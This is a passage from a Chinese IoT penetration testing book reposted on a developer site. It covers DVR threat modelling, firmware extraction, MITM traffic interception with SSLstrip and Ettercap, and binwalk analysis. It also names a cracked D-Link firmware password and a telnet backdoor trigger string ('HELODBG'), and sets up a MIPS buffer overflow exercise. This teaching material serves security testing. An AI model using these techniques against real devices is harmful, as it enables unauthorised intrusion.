        可以看到,应用每次查看账户信息和摄像头视频时,都需要与第三方厂商的云平台建立连接,即使用户与DVR系统处于同一网络中。而远程访问DVR系统所需的用户名和口令就存储在移动设备中。在这里,我们尚不清楚同应用厂商后台系统通信时如何存储或发送这些数据。带着这些疑问,我们开展下一步工作,进行威胁识别。

        image.png

        步骤2 威胁识别
        攻击者可以利用移动应用进行以下操作:

        • 监视API调用。
        • 访问移动设备中的本地资源。
        • 泄露用户敏感信息。
        • 定位在移动设备中以明文存储的用户敏感信息。
        • 通过SQL(ite)注入漏洞转储数据库中的数据。
        • 通过WebView控件的JavaScript接口实现任意脚本执行。
        • 获取其他用户账户的访问权限。
        • 在厂商的云平台环境中追踪用户。
        • 访问存储在设备上的摄像头回放视频。
        • 删除摄像头回放视频。
        • 篡改用户信息。
        • 在未经认证的情况下为摄像头添加共享用户。
        • 建立永久会话,该会话具有持久访问权限不会过期。
        • 截屏并发送给第三方。

        步骤3 威胁建档
        接下来,同之前的工作类似,我们将选取部分威胁用例并形成文档,评估其风险等级,见表2-21~表2-23。
        威胁1

        image.png

        威胁2

        image.png

        威胁3

        image.png

        步骤4 威胁评级
        从表2-24中选择某种威胁并评估其风险等级。

        image.png

        在移动领域中,常见威胁都与数据以及数据的存储和传输方式有关。因此,除非该漏洞能够对大量用户造成影响,或者导致泄露大量用户数据,否则移动应用漏洞风险一般相对较低。在对移动应用的测试过程中,移动应用的漏洞基本不会导致攻击者获取服务器或者移动设备的shell。

        2.7 IoT设备硬件威胁建模

        现在,我们开始分析目标DVR系统的硬件威胁。大多数消费级DVR设备很容易拆解,因此攻击者可以很方便地对其各个输入源以及外设进行分析。而之所以出现这种情况,一方面可能是为了便于设备将来扩展存储空间,另一方面也可能是因为设备在设计之初就没有被设计为具备防篡改保护等安全功能的产品,举个例子,如果在设计时采用了硬件安全模块(Hardware Security Module,HSM),那么设备会具备一定的防篡改能力。
        测试流程
        在本节的演练中,我们使用https://draw.io提供的工具绘制硬件输入图。
        步骤1 架构概况构建及分解
        图2-12是DVR设备硬件示意图。

        image.png

        从图中可以看到,DVR设备对外连接的接口包括8个用于连接摄像头的BNC连接器、2个USB接口、1个以太网口、1个电源接口、1个VGA接口以及1个HDMI端口。同时,DVR设备中还内置了多款芯片,其中包括1块EEPROM存储芯片,以及PCB中UART接口的多个疑似输入源。
        步骤2 威胁识别
        攻击者对DVR硬件输入点开展漏洞利用可以完成以下操作:

        • 通过UART接口获取Console口的访问权限。
        • 转储EEPROM存储芯片中机密信息。
        • 利用USB栈中的漏洞控制DVR设备。
        • 插入恶意USB设备造成破坏。
        • 短路DVR设备电源。
        • 攻击DVR bootloader获取Console口的访问权限。
        • 通过USB接口安装恶意软件。

        步骤3 威胁建档
        接下来,我们将挑选与之前类似的威胁案例,并对其各自风险进行评级,见表2-25~ 表2-27。
        威胁1

        image.png

        威胁2

        image.png

        威胁3

        image.png

        步骤4 威胁评级
        我们使用表2-28进行威胁评级,从中选择一个威胁并找到其对应的风险等级即可。

        image.png

        2.8 IoT无线电通信威胁建模

        下面,我们开始对无线电/无线通信的威胁建模,除了从客户端应用或摄像头传输到DVR设备的数据之外,DVR系统中并没有太多涉及无线电通信的内容。虽然大多数IoT设备和运行环境会使用不同的协议、在不同的频率上进行无线电通信广播,但幸运的是,在这里我们只需要考虑DVR系统中的Wi-Fi协议和手机厂商的入口点。
        测试流程
        对于无线电通信威胁建模演练,我们只需要对之前绘制的图表进行简单更新,反映出设备和应用之间的无线电通信过程即可。
        步骤1 架构概况构建及分解
        DVR系统中无线电通信的示例架构概况如图2-13所示。
        正如读者所了解的那样,无线通信仅限于用户通过客户端设备访问DVR设备,其中客户端设备包括浏览器、应用,也包括无线网络摄像头。需要注意的是,当前概况图是根据之前的概况图迭代得到的,因为在前面**的威胁建模过程中我们已经获取到了很多信息。
        步骤2 威胁识别**
        攻击者可以利用无线通信进行以下操作:

        • 远程访问DVR网络。
        • 窃听DVR系统无线通信。
        • 阻塞DVR系统通信。

        image.png

        • 从DVR系统中移除网络摄像头。
        • 建立虚假接入点连接摄像头。
        • 窃听手机通信。
        • 搭建全球移动通信系统(Global System for Mobile Communication,GSM)伪基站。
        • 构造请求欺骗客户端应用。
        • 添加虚假网络摄像头。
        • 通过流氓客户端应用访问DVR系统。

        步骤3 威胁建档
        接下来,我们将挑选与之前类似的威胁用例,并将其形成文档对其风险进行评级,见表2-29~表2-31。
        威胁1

        image.png

        威胁2

        image.png

        威胁3

        image.png

        步骤4 威胁评级
        我们将使用表2-32选择拟评级的威胁并评估其风险等级。

        image.png

        无线中间人攻击技术较为常见,采用该技术,攻击者可以轻而易举地向DVR系统实施无线攻击。而其他威胁(例如添加虚假网络摄像头)实现起来则可能要困难一些,因此,对于急于想要扩大战果的攻击者来说不值得在上面花费过多时间。

        ]]>
        带你读《物联网渗透测试》之三:固件分析与漏洞利用-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 点击查看第一章
        点击查看第二章

        第3章

        固件分析与漏洞利用
        本章将主要讨论以下主题:

        • 固件分析方法。
        • 固件提取。
        • 固件分析。
        • 文件系统分析。
        • 基于固件仿真的动态分析。
        • ARM与MIPS架构下二进制文件的分析入门。
        • MIPS架构下的漏洞利用。

        3.1 简介

        到目前为止,我们已经介绍了IoT生态系统中的所有基本原理,并且通过威胁建模确定了各种威胁对应的风险,这些内容对于我们开展渗透测试大有帮助。虽然单纯借助当前普遍应用的漏洞扫描技术,有些漏洞和威胁识别起来可能会更简单一些,但是,在本章中,我们将把注意力聚焦在固件的逆向分析上,希望通过对固件内容的分析实现运行时对固件的操作。我们需要撸起袖子讨论如何对固件进行反汇编,如何使用常见的固件工具分析固件内容与固件架构,以及如何修改固件用于攻击。同其他软件逆向分析方法类似,固件分析也绝对是一门艺术。读者将会了解到有很多工具都可以用来帮助自己挖掘常见的漏洞,但是,针对固件二进制镜像的安全性分析仍需要大量的手工分析。
        在我们开始固件分析之前,重要的是讨论固件提取的通用方法,以及分析勾勒出哪些数据较为重要。在之前介绍的轻量级固件威胁建模演练过程中,这一内容已经讨论过了,但是这里我们依然从讨论固件分析的目标开始接下来的内容。

        3.2 固件分析方法

        固件是控制IoT设备的核心,这也是我们在分析IoT设备的其他组件之前,希望从固件分析开始的原因。根据IoT设备所面向的行业,提取固件镜像并且对其内容进行反汇编的过程可能非常简单。与之类似,对于某些行业的垂直细分领域而言,其采取了专用保护措施,而这些保护措施可能会导致逆向分析过程更加困难或更加耗时。尽管如此,固件分析时还是存在一些通用模式的。通常,测试人员在固件分析时最关注的内容主要包括:

        • 口令。
        • API Token。
        • API Endpoint(URL)。
        • 存在漏洞的服务。
        • 后门账户。
        • 配置文件。
        • 源代码。
        • 私钥。
        • 数据的存储方式。

        在后面的章节中,进行固件分析时我们也会重点关注这些内容。本节将向读者概要介绍固件正向分析与逆向分析的方法。
        下面列出了IoT固件分析时所用到的基本方法:
        1)固件提取。
        2)固件分析。
        3)文件系统提取。
        4)文件系统加载。
        5)文件系统分析。
        6)基于固件仿真的动态分析。

        3.3 固件提取

        在对固件内容进行分析前,我们首先需要获取固件的二进制文件。本节将会对目标设备固件提取所涉及的各种技术进行介绍。

        3.3.1 准备工作

        提取固件的过程中我们会用到多个工具。由于Kali Linux中已经默认安装了所需要的大多数工具,因此在这里将主要使用Kali Linux系统。下面是需要用到的工具:

        此外,还可以通过链接https://www.flashrom.org/Downloads 下载Flashrom。

        3.3.2 测试流程

        目前,从IoT设备中提取固件的方法有很多。我们将在本节中对其中的大部分方法进行介绍。固件镜像的获取方法主要包括:

        • 从厂商网站下载。
        • 代理或镜像设备更新时的流量。
        • 直接从设备转储固件。
        • 通过Google搜索引擎搜索/科研渠道。
        • 反编译与之相关的移动应用。

        1.从厂商网站下载
        获取固件最简单的方法就是从厂商网站下载固件。
        图3-1~图3-5中的截图展示了如何从厂商网站获取固件:
        1)进入目标厂商的网站。
        2)在搜索栏中输入目标设备,如图3-1所示。
        3)选择Support选项卡,如图3-2所示。
        4)单击Drivers&Tools按钮,如图3-3所示。
        5)单击下载链接,如图3-4所示。
        6)用户也可以选择Copy Link Address,在测试主机上直接执行wget(wget http://URL.com)命令进行文件下载,如图3-5所示。

        image.png


        image.png


        image.png



        image.png


        image.png

        2.代理或镜像设备更新时的流量
        有时候厂商网站可能并不支持固件下载,此时读者可以选择第2种方法(即在设备固件更新过程中,代理转发设备更新时的流量),或者选择第3种方法(直接从设备转储固件)。为了在设备更新过程中实现对固件更新流量的代理转发,读者必须在更新期间实施中间人(Man-In-The-Middile,MITM)攻击或者镜像设备流量。或者,读者也可以代理转发Web或移动应用的流量,从中提取出固件下载的URL地址。
        众所周知,厂商会对固件下载请求中的user-agent字段进行验证,所以读者可能还需要调整数据包首部中的user-agent字段。以下是针对IoT设备实施MITM攻击进而监控设备流量的基本步骤,用到的工具包括Kali Linux、Ettercap、Wireshark和SSLstrip。其中Kali Linux中已经安装了本节中需要用到的所有工具。
        当前有多种方法和工具可以对目标设备发起MITM攻击,进而实现流量转发。下面介绍的就是其中一种捕获设备流量的方法。
        1)启用IP转发功能:
        image.png

        2)配置iptables,将目的端口80的流量重定向至SSLstrip监听的端口10000。
        image.png

        3)启动SSLstrip:
        image.png

        4)启动Ettercap GUI:
        image.png

        5)图3-6展示了上述操作的运行结果。

        image.png

        6)单击菜单栏中的Sniff菜单,再单击Unified sniffing选项,如图3-7所示。

        image.png

        7)选择所要监听的网卡,如图3-8所示。

        image.png

        8)选择Scan for hosts选项,如图3-9所示。

        image.png

        9)此时即启动Wireshark程序,可以看到部分接口有流量通过,如图3-10所示。
        10)单击Start capturing packets按钮开始捕获目标设备的网络流量,如图3-11所示。

        image.png

        11)根据实际需求过滤出所关注的网络报文。在本例中,目标设备的IP地址为192.168.1.137,如图3-12所示。

        image.png

        3.直接从设备转储固件
        如果通过厂商网站或者流量代理的方法均无法获取固件,还可以尝试通过UART、SPI或者JTAG接口直接转储固件。直接进行固件转储需要拿到物理设备,并拆解设备找到其中的闪存芯片。找到闪存芯片之后,读者可以直接通过UART接口也可以使用SOIC8测试夹来连接芯片进而转储固件,其中用到了工具Flashrom以及支持SPI的硬件开发板,例如Shikra。图3-13展示了如何使用SOIC测试夹和Shikra连接设备。

        image.png

        将固件内容转储为bin文件的命令如下所示:
        image.png

        使用Flashrom或者前面介绍的某种方法提取到了设备固件之后,分析人员就可以开始对固件的二进制文件进行分析了。
        4. Google搜索
        如果出于某些原因,我们难以借助前面介绍的方法提取出固件镜像,那么最后的选择就是求助于Google搜索。可以直接在Google中输入想要查找的固件名称,搜索是否存在目标固件的下载链接,也可以搜索一下其他人的工作成果,看看是否已经有人对该设备的固件进行了研究。此外,设备厂商在岗或者离职的工作人员也可能会将固件文件上传到其个人的存储空间或Web服务器上。无论哪种情况,都可以使用Google dorking技术缩小指定目标设备的搜索范围。我们还可以通过链接https://www.exploit-db.com/google-hacking-database利用Google Hacking数据库来搜索固件或设备。

        3.3.3 测试分析

        在本节中,我们简要介绍了如何通过厂商站点、部署MITM测试环境捕获设备流量、直接从设备转储固件以及Google搜索等方法来获取固件。现在,我们来解释下为什么需要通过这些方法获取固件,难道不是直接从厂商网站下载就行了吗?
        当从厂商网站下载固件时,通常情况下,用户可以通过厂商提供的服务链接、文件共享或社区论坛下载到需要的固件。但有时厂商在下载固件前要求用户提供口令,或者将固件打包为需要口令才能解压的ZIP文件。如果碰到了这种情况,为了节省时间我们就可以直接采用其他方法获取固件。
        接下来,我们简要介绍了如何使用Kali Linux、SSLstrip、Ettercap和Wireshark搭建MITM测试环境,以在设备更新期间捕获设备流量。

        3.4 固件分析

        一旦我们提取到了固件,接下来的主要工作就是对固件进行分析。其中涉及如何深入固件内部,发现尽可能多的安全隐患,这也正是本节中我们所要做的主要工作。

        3.4.1 准备工作

        在本节中,我们将会了解提取出固件二进制文件后如何开展固件分析。在这一过程中,有多种固件分析方法供我们选择,帮助我们找到固件中的安全隐患。
        正如前面提过的,固件中包含了很多渗透测试人员感兴趣的内容,如API key、私有证书、硬编码的认证信息以及后门等。

        3.4.2 测试流程

        为了分析固件,我们将对其逆向以查看其内部组件。固件中的内部组件包括boot-loader、内核、文件系统以及其他内容。其中我们最感兴趣的是文件系统,因为文件系统中保存了我们需要的所有信息。显然,读者也可以分析bootloader并查看其中包含的内容,还可以篡改固件并构建新的固件(我们将在接下来的章节中讨论),但是现在我们只关心如何对固件进行逆向分析以及从中提取出文件系统。
        正如之前已经介绍过的,固件是一个二进制文件压缩包,而文件系统只是其中的一个组件,存储在二进制文件的特定偏移地址中,且具有一定的尺寸。然而,此时我们还不知道关于固件中文件系统的任何信息,包括其偏移量和尺寸。为了找到这些信息,需要使用hexdump和grep等工具来搜索我们所关注内容的特征信息。下面以Squashfs文件系统为例进行介绍:
        1)如果想要查找Squashfs文件系统,可以使用grep命令在hexdump的执行结果中查找“hsqs”字符串,如图3-14所示。

        image.png

        2)读者可以看到,我们在地址0x000e20c0处发现了Squashfs文件系统。获得了这些信息之后,就可以使用dd命令将从该地址开始到文件末尾的内容全部转储下来,如图3-15所示。

        image.png

        3)一旦获得了从固件二进制文件中截取出来的Squashfs文件系统,就可以运行unsquashfs等命令来查看整个文件系统,这一过程非常简单。
        接下来使用unsquashfs命令来看一下我们是否能够提取出整个文件系统,如图3-16所示。

        image.png

        4)正如在前面的截图中所看到的,我们提取出了Squashfs文件系统镜像。读者可以忽略图3-16中的警告和错误,这只是在提示我们没有以root用户权限运行该命令。一旦我们提取出了文件系统,就可以浏览文件系统中的各个目录,对其中的各个文件分别进行分析来挖掘漏洞。图3-17是对整个文件系统目录的截图。

        image.png

        上面就是对固件进行逆向分析并从固件二进制镜像中提取文件系统的方法。我们还可以采用Binwalk等工具自动执行前面的所有操作。Binwalk由Craig Heffner开发,借助Binwalk我们只需要一条命令就能够从固件二进制镜像中提取文件系统。
        5)为了安装Binwalk,首先需要从位于https://github.com/devttys0/binwalk.git的Git-Hub 代码库中克隆Binwalk代码,命令如下:
        image.png

        6)然后运行./deps.sh命令安装Binwalk需要的所有依赖文件和二进制文件。
        7)Binwalk安装成功后,读者可以在命令行中敲入Binwalk命令并按回车键来确认安装是否成功。如果安装成功,此时命令行窗口会显示出Binwalk的帮助菜单,如图3-18所示。
        8)下面我们使用Binwalk命令从相同的固件中提取出文件系统。这里在执行提取操作时将用到-e参数:
        image.png

        9)接下来窗口中会显示出固件中的所有分段,并提取出固件内容,如图3-19所示。

        image.png


        image.png

        10)参数-t和-vv可以采用可读性更强以及更加详细的方式打印出命令执行结果。Binwalk执行完毕之后,会生成名为_[firmwarename].extracted的文件夹,该文件夹中保存了Binwalk提取出的整个文件系统,如图3-20所示。
        以上就是采用手工和自动两种方式从固件的二进制文件中提取文件系统的过程。

        3.4.3 测试分析

        本例中的文件系统提取方法同我们之前采用的方法相同,均是首先使用magic字节以及首部特征字符串(例如Squashfs文件系统中的sqsh字符串等)检测文件系统以及其他组件的偏移。在下面的URL链接中可以查看Binwalk所能识别的文件系统类型:
        https://github.com/devttys0/binwalk/blob/62e9caa164305a18d7d1f037ab27d14ac933d3cf/src/binwalk/magic/filesystems

        image.png

        读者还可以在Binwalk中手工添加更多特征,然后重新编译Binwalk源代码,从而实现对其他文件系统的识别。

        3.4.4 拓展学习

        除了提取文件系统,读者还可以使用Binwalk进行一系列其他操作,例如针对某个特定固件镜像进行熵分析,该操作能够帮助读者判断固件镜像是否进行了压缩或者加密。熵分析需要在运行Binwalk时带上-E参数,之后再跟固件名,操作命令如图3-21所示。

        image.png

        从上面的截图中可以看出,该固件并未加密,因为加密的固件镜像熵值会出现大幅波动。

        3.4.5 延伸阅读

        想了解更多关于固件分析与逆向分析的内容,可以访问Binwalk开发者Craig Heffner的博客。读者可以从博文中了解到不同的固件镜像会如何变化,以及可能存在哪些漏洞。Craig Heffner的博客链接为http://www.devttys0.com/

        3.5 文件系统分析

        现在我们已经知道如何逆向固件并从中提取出文件系统了,在本节中将关注文件系统中的内容并对其开展漏洞分析。这部分内容能够帮助读者更加深入地了解如何从固件镜像中挖掘漏洞并加以利用,进而入侵IoT设备。

        3.5.1 准备工作

        针对文件系统内容的分析主要包括两种方法:

        • 手工分析。
        • 自动化工具和脚本。

        1.手工分析
        采用手工方法挖掘固件文件系统漏洞时,需要对文件系统中的各个文件与文件夹进行分析。分析内容包括查看配置文件、Web目录、口令文件以及查找后门等。手工分析方法是在指定固件中挖掘漏洞的理想方法,本节我们也将主要关注这种方法。
        2.自动化工具和脚本
        本书出版时,除了部分自动化分析脚本,尚没有一套完整的框架或者工具能够帮助我们挖掘固件漏洞。因此,如果读者对Web应用安全或者网络安全比较熟悉,那么应该了解目前在固件安全分析领域也没有类似于Arachni、w3af、Metasploit之类的工具。

        3.5.2 测试流程

        我们首先从固件分析开始,看看是否能够发现敏感信息或者后门。
        在这个练习中我们使用的是路由器D-Link DWR 932B的固件,版本号为DWR-932_fw_revB_2_02_eu_en_20150709。安全研究员Gianni Carabelli和Pierre Kim已经在这款固件中挖掘出了漏洞:
        1)第一步是从固件中提取文件系统。但是,本例中的固件为经过加密的ZIP文件。因此,在本例中首先使用fcrackzip工具进行口令破解,破解出的口令是beUT9Z。运行结果如图3-22所示。

        image.png

        2)获取了固件镜像之后,可以采用Binwalk从固件的ZIP文件中提取出yaffs2格式的文件系统。接下来,读者可以使用针对yaffs2格式的工具解压文件系统,也可以直接通过Binwalk来完成提取工作。
        3)在yaffs2-root文件夹中,我们提取得到了完整的文件系统,如图3-23所示。

        image.png

        4)从这里开始,我们开始遍历文件系统中不同的目录,并从安全视角查找其中可能存在漏洞的文件。我们需要做的第一件事是查找所有配置文件,这可以通过运行find命令查找所有后缀为.conf的文件来实现,搜索结果如图3-24所示。
        5)接着查看配置文件的内容。举个例子,图3-25所示为配置文件wpa-supplicant.conf中的内容。
        6)接下来查看其他配置文件,例如inadyn-mt.conf,如图3-26所示。

        image.png
        image.png

        出乎意料的是,该文件中包含了大量敏感信息,而这些信息本不应该被其他人访问到。正如我们在前面的截图中看到的,文件inadyn-mt.conf中存储了路由器的no-IP配置信息,包括用于访问网站https://www.no-ip.com 的用户名和口令。
        这就是我们在固件中查找隐藏敏感信息的方法。显然,读者可以在固件的文件系统中进行更加全面的查找,从而发现更多的敏感信息。
        现在我们已经知道了如何对固件进行手工分析,接下来将介绍如何采用自动化的方式来挖掘漏洞。为此,我们将用到Craig Smith开发的工具Firmwalker,该工具通过静态分析来识别固件中可能包含的常见敏感信息。
        1)克隆GitHub代码库中的Firmwalker代码并完成部署,命令如下:
        image.png

        2)Firmwalker代码库克隆完成后,我们以提取出的文件系统位置为参数,运行./firm-walker.sh脚本:
        image.png

        3)Firmwalker脚本能够识别出多种敏感信息,包括二进制文件、证书、IP地址、私钥等,同时将输出结果都保存在firmwalker.txt文件之中(用户也可指定存储文件)。如图3-27所示。

        image.png

        拿到Firmwalker生成的报告之后,我们就可以分别查看报告中所列出的各个文件并对其开展进一步分析了。在某些情况下,读者还需要对基于ARM和MIPS架构的二进制文件进行逆向分析,以便更好地了解文件执行流程进而挖掘出漏洞。

        3.5.3 测试分析

        分析并理解文件系统及其中的内容取决于攻击者的手工分析技巧。而这正是能否挖掘出漏洞的关键。即使采用了各种自动化工具,读者也会意识到分析过程最终都会转化为针对二进制文件的手工分析与漏洞挖掘。

        3.5.4 拓展学习

        为了更加深入地对固件的文件系统开展分析,读者还可以使用诸如firmware diffing之类的技术,即将固件同之前的固件版本进行比较,进而查找出两者之间的差异。通过比较,读者能够了解新版本中所做的安全修复和改动,甚至发现之前版本中未公开的安全漏洞。
        我们还可以基于固件文件系统开展另一项工作,就是查看系统使用的库文件和组件,并判断这些组件是否是早期存在漏洞的版本。

        3.5.5 延伸阅读

        在分析固件文件系统中的内容时,最好多了解一些关于二进制分析和逆向分析的相关知识,并且熟悉Linux二进制文件分析、调试以及针对ARM和MIPS等平台的反汇编技术。

        3.6 基于固件仿真的动态分析

        通常,开展IoT设备分析会受到这样或那样的限制,其中一个就是我们难以在没有实体设备的情况下开展大量测试并进行漏洞利用。但是在本节中,我们将讨论固件仿真方法,读者可以同仿真设备进行交互,就如同和网络中的实体设备交互一样。

        3.6.1 准备工作

        为了进行固件仿真,我们将用到由本书作者开发的脚本Firmware Analysis Toolkit(FAT)。FAT采用Firmadyne工具实现固件镜像的仿真。
        Firmadyne工具底层基于QEMU虚拟机,这使得用户能够对整个系统架构进行仿真并在该架构之上运行固件,其中还用到了工具开发者编写的其他脚本,例如NVRAM仿真器,该仿真器可以从地址https://github.com/firmadyne/libnvram 下载。同时还使用了类似于Binwalk之类的工具,在前面的章节中我们对Binwalk已经进行了介绍,借助该工具能够从固件中提取出文件系统,继而开展固件仿真。
        接下来从GitHub中克隆FAT的代码库,并部署固件仿真实验环境。我们强烈建议读者在Ubuntu系统上进行操作,这样可以避免在仿真过程中出现各种奇奇怪怪的问题。

        3.6.2 测试流程

        固件仿真步骤如下:
        1)从链接https://github.com/attify/firmware-analysis-toolkit/ 处克隆FAT代码库,然后安装:
        image.png

        安装过程中将为Firmadyne创建数据库,将关于固件的信息存储起来并进行管理。数据库密码默认设置为firmadyne。
        全部设置完毕之后,下一步就是选择固件并对其进行仿真,下面来看看我们能够针对仿真固件开展哪些工作。
        在本节练习中,我们将以D-Link固件DWP2360b为例进行演示,D-Link公司出品的PoE供电无线接入点采用了该固件。
        2)此时,我们要做的第一件事就是运行./fat.py,该脚本运行后会请求用户输入固件名称和固件镜像的品牌。输入固件镜像品牌的作用主要在于创建数据库,这样我们就可以在需要时搜索数据库,查看我们已经对哪些品牌的固件进行了仿真。运行后的执行结果如图3-28所示。

        image.png

        3)接下来工具会多次请求用户输入数据库的口令,在本例中我们将口令设置为fir-madyne。程序完成初始化、镜像创建、网络配置并分配IP地址之后,FAT将会在命令行窗口中显示其IP地址,并提示用户已经完成了固件仿真,如图3-29所示。
        4)获得了IP地址之后,我们就可以在浏览器中输入该IP地址,之后就可以打开仿真路由器的登录页面了,本例中设备的登录页面如图3-30所示。
        以上就是在没有物理设备的情况下如何借助FAT实现固件仿真的过程。

        image.png

        3.6.3 测试分析

        前面的仿真实验主要基于QEMU和NVRAM仿真器。NVRAM是非易失性随机访问存储器,固件能够访问该存储器获取设备信息。然而,由于没有物理设备,固件需要访问该存储器时就会导致服务运行出错或崩溃,而这正是NVRAM仿真器发挥作用的地方。使用Firmadyne工具集还能对固件进行修改,以便让用户访问Console口以进行调试。
        以下是FAT脚本能够执行的操作:
        1)从固件中提取文件系统。
        2)获取固件架构。
        3)制作所需的镜像。
        4)网络设置。
        5)镜像仿真。
        上述所有操作均可手工完成,但是利用FAT之类的脚本可以帮助我们快速完成操作。

        3.6.4 拓展学习

        另一种仿真方法是手工下载目标架构的Debian镜像文件,然后将镜像文件从固件中复制到新创建的Debian实例中,再使用chroot命令运行Web服务器(或是其他需要测试的组件)。读者可以从链接https://people.debian.org/~aurel32/qemu/ 下载最新的Debian镜像。

        3.7 ARM与MIPS架构下二进制文件的分析入门

        现在我们知道了如何进行固件仿真并开展基本的分析,但是读者会发现在现实工作中经常会遇到不同架构的二进制文件,对此需要开展进一步分析。由于我们难以在一本书中涵盖嵌入式设备用到的所有架构,因此在这里我们主要关注两款流行架构—ARM和MIPS。
        然而,在这里我们将只介绍针对MIPS架构下的漏洞利用,并对ARM架构下的二进制文件逆向分析进行简单介绍。从漏洞利用的角度来看,ARM架构和MIPS架构非常相似,只要分析其中一个架构同样也有助于读者了解其他架构。

        3.7.1 准备工作

        现在开始我们的二进制分析之旅,首先从基本分析开始,看看如何从D-Link固件中发现后门。这个后门是由Pierre Kim首先发现的。为了验证这个后门的存在,要求读者对基于ARM架构的二进制文件逆向分析具备一定的基础。尽管我们不会深入分析寄存器和架构(因为我们将在MIPS架构中介绍这些内容),但是本节内容将帮助读者了解二进制文件的分析过程以及如何发现较为简单的漏洞。
        本例中我们将要使用的固件是D-Link设备的固件DWR 932B。使用Binwalk提取出固件后,可以注意到其中包含一个名为appmgr的二进制文件,这正是我们感兴趣的文件。
        在分析过程中,我们可以使用读者熟悉的所有反汇编工具,例如Radare2、IDA、Hopper等。本例中我们使用Hopper来对二进制文件appmgr进行逆向分析,这是一个基于ARM架构的小端序(Little Endian)二进制文件。

        3.7.2 测试流程

        可以使用Hopper的伪代码生成功能来更好地理解二进制文件。步骤如下:
        1)在Hopper中加载目标二进制文件进行分析,如图3-31所示。
        2)文件加载成功后,搜索telnet字符串,然后就可以看到telnet字符串在样本代码中的位置,如图3-32所示。

        image.png

        3)为了找到该字符串的调用位置,可以右键单击该字符串并选择References to address选项,然后将展示出字符串的调用位置和调用指令。在本例中,如果执行References to address操作,我们会发现调用该字符串的内存地址为0x13048,如图3-33所示。

        image.png

        4)双击该内存地址跳转到引用该字符串的地址,在本例中即0x13048地址处。跳转到该地址之后,就可以看到所有的反汇编代码了,单击Pseudo-code mode按钮会生成伪代码,如图3-34所示。

        image.png

        5)伪代码生成功能对于我们的分析工作而言非常有用,因为如果用户对反汇编不是太熟悉的话,借助伪代码就可以把一段反汇编指令看作一个逻辑上相对独立完整的程序,这样理解起来更为容易。本例中的伪代码如图3-35所示。

        image.png

        正如我们从前面的截图中看到的那样,程序调用了strncmp函数,参数为字符串HELODBG 。我们知道,strncmp函数用于字符串比较,在本例中的作用是在运行Telnet前对二进制文件的输入字符串进行检查,上述操作在图3-35中以高亮方框的形式进行了标记。
        因此我们可以肯定,appmgr文件中存在后门,程序查找字符串HELODBG,一旦接收到该字符串,它就会使用bin/sh shell启动Telnet服务。
        上面的内容就是我们对ARM架构下二进制文件进行的分析,所采用的方法也是对二进制文件进行分析以查找敏感信息、挖掘漏洞与后门的基本方法。

        3.7.3 拓展学习

        既然读者已经知道了对ARM架构二进制文件开展分析的基本方法,我们建议对ARM汇编语言以及架构进行更加深入的了解。对汇编指令和底层架构的了解能够帮助读者更好地理解反汇编代码,即使在不借助伪代码的情况下也能够开展二进制文件的分析。

        3.8 MIPS架构下的漏洞利用

        现在我们已经掌握了逆向二进制文件的基本方法,那么是时候深入了解如何对IoT设备所采用的主要平台架构开展漏洞利用了。由于本节内容只是帮助读者了解二进制文件漏洞利用的基础知识,所以在这里我们只关注MIPS架构,但是强烈建议读者采用相同的方法自行针对基于ARM的架构开展漏洞利用练习。

        3.8.1 准备工作

        为了开展MIPS架构下的漏洞利用,在这里我们主要使用QEMU仿真器和chroot命令,这些内容我们在本章开头已经进行了简要介绍。现在将研究如何在MIPS二进制文件中进行缓冲区溢出漏洞利用,并改变程序的执行流程使其跳转到我们想要执行的内容,而不是程序原本应该执行的代码。为了简化漏洞利用过程,在这里我们不会涉及诸如面向返回的编程(Return Oriented Programming,ROP)之类的内容,这样可以使利用过程尽量简单一些。

        3.8.2 测试流程

        在这个练习中需要用到以下工具:

        • 路由器漏洞攻防演练靶机(Damn Vulnerable Router Firmware,DVRF)—该靶机可以从GitHub下载
        • GDB-Multiarch
        • GDB Enhanced Features(GEF脚本)
        • QEMU
        • chroot
        • IDA Pro/Radare2(可选)

        下面我们将对上述工具及其安装部署方式进行逐一介绍。首先从下面的URL链接下载DVRF固件:
        https://github.com/praetorian-inc/DVRF/tree/master/Firmware
        DVRF是由b1ack0wl专门为MIPS平台开发的固件。尽管该固件原本用于Linksys E1550设备,但其也可以在基于QEMU的仿真环境中运行,我们随后开展的漏洞利用也在该环境中加以演示:
        1)现在我们已经拿到了固件,为了便于漏洞利用过程中的调试,接下来安装GDB(GNU调试器)和GEF:
        image.png

        同时还要确保已经在系统中安装了所需的QEMU软件包。现在我们已经准备就绪了,接下来利用QEMU提供的二进制仿真功能运行其中的二进制文件。
        2)仿真之前,首先需要使用Binwalk工具从固件中提取出文件系统,操作命令如图3-36所示。

        image.png

        3)提取出文件系统后,就可以将对应架构下的QEMU二进制文件复制到文件系统的根目录下,在本例中是squashfs-root文件夹,如图3-37所示。但是在此之前需要确认目标二进制文件是基于MIPS架构的,通过readelf命令可以查看目标二进制文件的架构信息。

        image.png


        4)根据图3-37所示,目标二进制文件需要运行在小端的MIPS架构上,如图3-38所示。

        image.png

        5)此时将针对小端MIPS(mipsel)架构的QEMU二进制文件复制到squashfs-root文件夹下:
        image.png

        6)将qemu-mipsel-static文件复制到当前文件夹下后,再使用chroot命令和QEMU虚拟机仿真运行目标二进制文件,同时使二进制文件认为其根目录就是当前我们执行命令的目录。上述操作命令如下:
        image.png

        7)运行结果如图3-39所示,即使某个二进制文件最初是针对其他架构开发的,我们依然能够运行该文件。基于QEMU虚拟机对目标系统的仿真,再通过chroot命令对根目录进行调整,上述操作是可能实现的。

        image.png

        8)正如我们在命令输出结果所看到的那样(如图3-39所示),该二进制文件在运行时需要输入参数。此外,如果我们查看目标二进制文件的源代码,会发现该文件存在栈溢出漏洞。图3-40是二进制文件stack_bof_01的源代码。

        image.png

        从源代码中不难发现,变量buf在栈中的缓冲区容易遭受缓冲区溢出攻击,而实施溢出攻击的目的则在于修改程序执行流程,使其指向dat_shell的地址,这样我们就可以利用该漏洞来获得shell。
        9)现在开始调试程序,运行QEMU和chroot命令,运行chroot命令时使用参数-g把调试器GDB附加到进程之上:
        image.png

        10)如图3-41所示,此时程序暂停执行,等待调试器的连接。

        image.png

        11)程序暂停运行后,我们即可以启动GDB调试器,使用之前分配的端口连接目标进程进行远程调试。另外我们还需要将架构设置为MIPS以确保能够正确地反汇编二进制文件,如图3-42所示。

        image.png

        12)当我们连接上目标进程时,会发现进程已经暂停,此时可以输入字符c让进程继续执行。
        13)我们还可以输入info functions命令在屏幕上打印出二进制文件中可用函数的列表,如图3-43所示,这样可以帮助分析人员从渗透测试的角度查找可能存在漏洞的函数。

        image.png

        14)接下来输入disass main命令反汇编main函数查看函数内部结构。
